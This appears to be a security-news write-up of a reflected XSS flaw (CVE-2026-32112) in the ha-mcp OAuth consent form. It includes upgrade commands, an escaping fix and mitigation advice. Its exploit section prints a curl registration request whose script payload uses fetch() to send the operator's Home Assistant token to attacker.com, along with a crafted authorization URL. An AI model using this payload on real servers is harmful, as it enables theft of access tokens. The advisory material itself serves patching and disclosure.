Listen to this Post
The ha-mcp OAuth consent form prior to version 7.0.0 renders user-controlled parameters using Python f-strings without HTML escaping, creating a reflected Cross-site Scripting (XSS) vulnerability . The `consent_form.py` file builds HTML directly with f-strings and contains no calls to `html.escape()` anywhere in the code. User-supplied values including client_name, client_id, redirect_uri, state, and various error messages are rendered unescaped in both HTML element and attribute contexts . An attacker can register a malicious client via the open Dynamic Client Registration (DCR) endpoint (/register), which accepts `client_name` without sanitization. If the server operator can be convinced to visit a crafted authorization URL for that client—a meaningful social engineering barrier—the attacker’s JavaScript payload executes in the operator’s browser . The vulnerability exists only in the beta OAuth mode (ha-mcp-oauth), which requires explicit configuration and is not part of the standard setup. A successful exploit could exfiltrate data entered into the consent form, including Home Assistant Long-Lived Access Tokens . The vulnerability is fixed in version 7.0.0 .
Platform: ha-mcp
Version: < 7.0.0
Vulnerability: Cross-site Scripting
Severity: MEDIUM (CVSS:6.8)
Date: 2026-03-11
Prediction: 2026-03-12 (patch already available)
What Undercode Say:
Analytics
- CVE ID: CVE-2026-32112
- CVSS Score: 6.8 (MEDIUM) [AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N]
- Attack Vector: Network
- Attack Complexity: High (requires social engineering)
- Privileges Required: None
- User Interaction: Required (operator must click crafted URL)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: None
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Affected Component: `consent_form.py` (lines 36-40, 299, 303, 310-312, 496-497)
- Affected Configuration: OAuth mode only (
ha-mcp-oauthwith `MCP_BASE_URL` set) - Fixed Version: 7.0.0
- Discovery Source: GitHub Security Advisory (GHSA-pf93-j98v-25pv)
Bash Commands & Codes
Check current ha-mcp version pip show ha-mcp | grep Version Upgrade to patched version pip install --upgrade ha-mcp==7.0.0 Verify upgrade python -c "import ha_mcp; print(ha_mcp.<strong>version</strong>)" Check if OAuth mode is enabled (vulnerable configuration) grep -r "MCP_BASE_URL" /path/to/ha-mcp/config/ Test for vulnerable f-string pattern in consent_form.py grep -n "f\"" /path/to/ha-mcp/ha_mcp/oauth/consent_form.py | grep -v "html.escape"
How Exploit
Registration Phase (attacker):
Register malicious client with XSS payload in client_name
curl -X POST http://target-server:port/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "<script>fetch(\"https://attacker.com/steal?token=\"+document.getElementById(\"ha_token\").value)</script>",
"redirect_uris": ["https://legitimate-app.com/callback"],
"scope": "full_access"
}'
Exploit Delivery:
<!-- Crafted authorization URL sent to server operator --> https://victim-server:port/authorize?client_id=MALICIOUS_ID&response_type=code&redirect_uri=https://legitimate-app.com/callback&state=anything
Vulnerable Code Pattern:
From consent_form.py (vulnerable)
html_content = f"""
<div class="client-info">
<h2>{client_name}</h2> <!-- No escaping -->
Client ID: {client_id}</p> <!-- No escaping -->
</div>
<input type="hidden" name="client_id" value="{client_id}"> <!-- Attribute injection -->
<input type="hidden" name="redirect_uri" value="{redirect_uri}"> <!-- Attribute injection -->
Impact of XSS: JavaScript can exfiltrate the Home Assistant Long-Lived Access Token entered into the consent form .
Protection from this CVE
Immediate Mitigation:
Upgrade to fixed version pip install --upgrade ha-mcp==7.0.0
Code Fix (as implemented in 7.0.0):
Patched version using html.escape
from html import escape
In consent_form.py
html_content = f"""
<div class="client-info">
<h2>{escape(client_name)}</h2>
Client ID: {escape(client_id)}
</div>
<p><input type="hidden" name="client_id" value="{escape(client_id)}">
<input type="hidden" name="redirect_uri" value="{escape(redirect_uri)}">
"""
Preventive Measures:
- Disable OAuth mode if not required (remove `MCP_BASE_URL` configuration)
- Run ha-mcp in stdio mode (default, unaffected) instead of OAuth mode
- Implement Content Security Policy (CSP) headers
- Add input validation for all client-registration parameters
- Never render user input without proper escaping or sanitization
- Consider using template engines with auto-escaping (Jinja2, etc.)
Impact
- Confidentiality Breach: Exfiltration of Home Assistant Long-Lived Access Tokens entered into the consent form
- Integrity Impact: Attacker can execute arbitrary JavaScript in operator’s browser context
- Scope Limitation: Affects only beta OAuth mode (
ha-mcp-oauth), not standard stdio deployments - Attack Prerequisites:
- Attacker must reach OAuth endpoint (binds to `0.0.0.0` in HTTP mode)
2. Successful client registration via open DCR endpoint
- Social engineering to convince operator to click crafted URL
– Defense-in-Depth: Social engineering barrier reduces likelihood; operator has no legitimate reason to authorize unfamiliar OAuth clients
– Ecosystem Context: Similar vulnerabilities in MCP ecosystem have led to RCE and account takeover in client applications
References
- GitHub Security Advisory: GHSA-pf93-j98v-25pv
- CVE Record: CVE-2026-32112
- MCP OAuth Specification: RFC 7591 (Dynamic Client Registration)
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

